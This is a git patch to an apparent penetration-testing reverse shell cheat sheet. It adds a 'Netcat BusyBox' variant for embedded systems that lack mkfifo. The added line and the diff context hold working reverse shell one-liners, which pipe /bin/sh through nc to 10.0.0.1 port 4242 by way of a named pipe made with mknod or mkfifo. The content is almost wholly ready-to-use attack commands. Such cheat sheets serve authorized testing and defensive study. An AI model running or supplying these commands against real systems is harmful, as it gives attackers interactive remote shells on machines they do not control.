From 059a866fd22e16df3753e1c9337e668df524cc32 Mon Sep 17 00:00:00 2001 From: secnigma <78214540+secnigma@users.noreply.github.com> Date: Thu, 1 Apr 2021 13:27:20 +0530 Subject: [PATCH] Added Netcat BusyBox Some embedded systems like busybox won't have mkfifo present; instead, they will have mknod. This updated code can spawn reverse shell in systems that use mknod instead of mkfifo. --- Methodology and Resources/Reverse Shell Cheatsheet.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md index 4ee06f6..682af0a 100644 --- a/Methodology and Resources/Reverse Shell Cheatsheet.md +++ b/Methodology and Resources/Reverse Shell Cheatsheet.md @@ -17,6 +17,7 @@ * [Lua](#lua) * [Ncat](#ncat) * [Netcat OpenBsd](#netcat-openbsd) + * [Netcat BusyBox](#netcat-busybox) * [Netcat Traditional](#netcat-traditional) * [NodeJS](#nodejs) * [OpenSSL](#openssl) @@ -157,6 +158,12 @@ nc -c bash 10.0.0.1 4242 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f ``` +### Netcat BusyBox + +```bash +rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f +``` + ### Ncat ```bash